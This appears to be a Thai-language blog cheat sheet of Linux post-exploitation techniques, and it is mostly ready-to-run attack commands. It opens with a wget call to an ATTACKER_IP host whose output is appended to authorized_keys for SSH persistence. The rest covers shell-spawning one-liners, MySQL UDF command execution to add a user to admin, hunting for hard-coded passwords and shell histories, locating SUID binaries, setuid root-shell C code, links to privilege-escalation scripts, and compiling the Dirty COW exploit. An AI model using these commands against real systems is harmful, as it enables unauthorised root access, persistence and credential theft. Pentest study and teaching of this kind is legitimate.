ก่อนหน้านี้เราพูดถึงการทำ Privilege Escalation ด้วย sudo และ exploit path กันมาแล้ว วันนี้ก็เลยเอาอันอื่นๆที่จำเป็นเมื่อทำ post exploitation ใน Linux มารวมไว้ครับ
1. Add public key ไว้ใน authorised key เพื่อให้สามารถ login ได้
1 |
echo $(wget https://ATTACKER_IP/.ssh/id_rsa.pub) >> ~/.ssh/authotized_keys |
2. การรัน shell ผ่านคำสั่งต่างๆ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
python: python -c 'import pty; pty.spawn("/bin/sh")' echo: echo os.system('/bin/bash') sh: /bin/sh -i perl: perl -e 'exec "/bin/sh";' perl#2: exec "/bin/sh"; ruby: exec "/bin/sh" lua: os.execute('/bin/sh') lua2: (From within IRB) exec "/bin/sh" vi: (From within vi) :!bash vi2: (From within vi) :set shell=/bin/bash:shell nmap: (From within nmap) !sh |
3. หาว่า process ไหนรันด้วย root อยู่บ้าง
1 |
echo 'services running as root'; ps aux | grep root; echo 'permissions'; ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'; echo 'nfs info'; ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null |
4. หาว่าเครื่องติดต่อกับเครื่องใดอยู่บ้าง
1 |
netstat -ano |
5. ถ้ามีการรัน Mysql ด้วยสิทธิ์ root และมีการติดตั้ง lib_mysqludf_sys.so ไว้ จะใช้คำสั่งนี้ได้ผ่าน mysql
1 |
sys_exec('usermod -a -G admin username') |
6. ดูรายละเอียดของ Linux
1 2 |
cat /etc/issue; cat /etc/*-release; cat /etc/lsb-release; cat /etc/redhat-release; cat /proc/version; uname -a; uname -mrs; rpm -q kernel; dmesg | grep Linux; ls /boot | grep vmlinuz-; file /bin/ls; cat /etc/lsb-release |
7. ดู Environment Variable
1 |
cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set |
8. หาว่า configure ไฟล์ไหนสามารถเขียนได้บ้าง
1 |
find /etc/ -writable -type f 2>/dev/null |
9. หา schedule job
1 |
crontab -l; ls -alh /var/spool/cron; ls -al /etc/ | grep cron; ls -al /etc/cron*; cat /etc/cron*; cat /etc/at.allow; cat /etc/at.deny; cat /etc/cron.allow; cat /etc/cron.deny |
10. หาพวก hard code password
1 2 3 4 |
grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" |
11. ดู network configure
1 |
sbin/ifconfig -a; cat /etc/network/interfaces; cat /etc/sysconfig/network; cat /etc/resolv.conf; cat /etc/sysconfig/network; cat /etc/networks; iptables -L; hostname; dnsdomainname |
12. ดูว่าเคยมีการใช้คำสั่งอะไรบ้าง
1 |
cat ~/.bash_history; cat ~/.nano_history; cat ~/.atftp_history; cat ~/.mysql_history; cat ~/.php_history |
13. ดู Mail ภายในเครื่อง
1 |
cat ~/.bashrc; cat ~/.profile; cat /var/mail/root; cat /var/spool/mail/root |
14. หา binary file ที่ set sticky bit ไว้
1 2 3 |
$ find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null $ find / -perm -1000 -type d 2>/dev/null $ find / -perm -g=s -type f 2>/dev/null |
เมื่อเจอแล้วหากเป็นไฟล์ที่เป็น C ให้เขียนเป็นตามด้านล่างเพื่อรัน root shell
1 2 3 4 |
int main(void){ setresuid(0, 0, 0); system("/bin/bash"); } |
หรือใช้คำสั่ง
1 |
echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c |
15. สารพัด script สำหรับการทำ post exploitation
- https://raw.githubusercontent.com/codingo/OSCP-1/master/xploitdeli.py
- http://www.securitysift.com/download/linuxprivchecker.py
- https://github.com/pentestmonkey/unix-privesc-check
- https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
- https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
- https://raw.githubusercontent.com/PenturaLabs/Linux_Exploit_Suggester/master/Linux_Exploit_Suggester.pl
- https://www.rebootuser.com/?p=1758
16. วิธีการ compile dirtycow จาก https://dirtycow.ninja/
1 |
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil |
Source::